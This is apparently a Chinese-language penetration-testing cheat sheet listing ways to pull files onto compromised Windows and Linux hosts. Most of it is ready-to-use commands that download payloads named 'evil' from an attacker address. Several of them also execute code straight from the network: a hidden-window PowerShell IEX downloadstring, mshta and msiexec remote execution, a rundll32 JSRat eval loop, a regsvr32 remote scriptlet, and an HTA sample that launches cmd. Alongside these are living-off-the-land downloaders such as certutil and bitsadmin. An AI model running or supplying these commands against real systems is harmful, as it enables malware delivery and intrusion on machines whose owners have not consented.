windows/Linux文件下载方式汇总
字数 833 2025-08-25 22:59:09
Windows/Linux文件下载方式汇总教学文档
文章前言
在渗透测试过程中,通常需要向目标主机传送文件以实现权限提升、权限维持等目的。本文档详细汇总了Windows和Linux系统下常用的文件下载方法。
Windows系统下载方式
1. PowerShell
PowerShell是跨平台的任务自动化和配置管理框架,构建在.NET公共语言运行时(CLR)基础上。
远程下载文件到本地:
(new-object System.Net.WebClient).DownloadFile('http://192.168.174.1:1234/evil.txt', 'evil.exe')
远程执行命令(无文件落地):
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.1:1234/evil.txt'))"
2. certutil
certutil.exe是证书服务的一部分,可用于文件下载。
下载文件:
certutil -urlcache -split -f http://192.168.174.1:1234/evil.txt test.exe
3. Bitsadmin
BITSAdmin是Windows 7及以上版本内置的命令行工具,支持不稳定网络下的文件下载。
下载文件:
bitsadmin /transfer n http://192.168.174.1:1234/evil.txt C:\Users\Hepta\Desktop\test\evil.exe
4. FTP
使用方法:
- 攻击主机搭建FTP服务
- 目标主机连接下载:
ftp 192.168.174.1
# 输入用户名密码后
get evil.exe
5. msiexec
Windows自带的MSI安装工具。
下载并执行MSI文件:
msiexec /q /i http://192.168.174.131:1234/evil.msi
6. mshta
执行HTA文件的工具。
远程下载执行HTA:
mshta http://192.168.174.1:1234/evil.hta
HTA文件示例:
<HTML><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD><script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c calc.exe" // 待执行的命令
self.close</script>
<body>Demo</body></HEAD></HTML>
7. rundll32
以命令行方式调用动态链接程序库。
使用JSRat示例:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131:1234/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
8. regsvr32
注册COM组件的命令。
使用JSRat示例:
regsvr32 /s /n /u /i:http://192.168.174.131:1234/file.sct scrobj.dll
9. 第三方工具
wget
wget http://192.168.174.1:1234/evil.exe
cURL
curl http://192.168.174.1:1234/evil.exe -o evil.exe
ncat
攻击主机:
nc -lvp 4444 < evil.exe
目标主机:
nc 192.168.174.131 4444 >evil.exe
Python
import urllib2
u = urllib2.urlopen('http://192.168.174.1:1234/evil.hta')
localfile = open('local_file.hta', 'w')
localfile.write(u.read())
localfile.close()
10. Notepad对话框
- 打开Notepad++
- 点击"文件->打开"
- 在文件位置处输入远程文件URL
- 回车下载并打开文件
Linux系统下载方式
1. 编程语言方式
Perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://192.168.174.1:1234/evil.sh", "evil.sh");
Ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.174.1") { |http|
r = http.get("/evil.sh")
open("save_location.sh", "wb") { |file|
file.write(r.body)
}
}
PHP
<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>
Python
import urllib2
u = urllib2.urlopen('http://192.168.174.1:1234/evil.sh')
localfile = open('local_file.sh', 'w')
localfile.write(u.read())
localfile.close()
2. 应用程序方式
wget
wget http://192.168.174.1:1234/evil.sh
cURL
curl http://192.168.174.1:1234/evil.sh -o evil.sh
ncat
攻击主机:
nc -lvp 4444 < evil.sh
目标主机:
nc 192.168.174.131 4444 > evil.sh
FTP
ftp 192.168.174.1
# 输入用户名密码后
get evil.sh
TFTP
攻击主机搭建TFTP服务后:
tftp 192.168.174.1
tftp> get evil.sh
总结
本文档详细汇总了Windows和Linux系统下常用的文件下载方法,包括系统自带工具和第三方应用程序。在实际渗透测试中,应根据目标环境选择合适的方法,注意不同方法的适用条件和限制。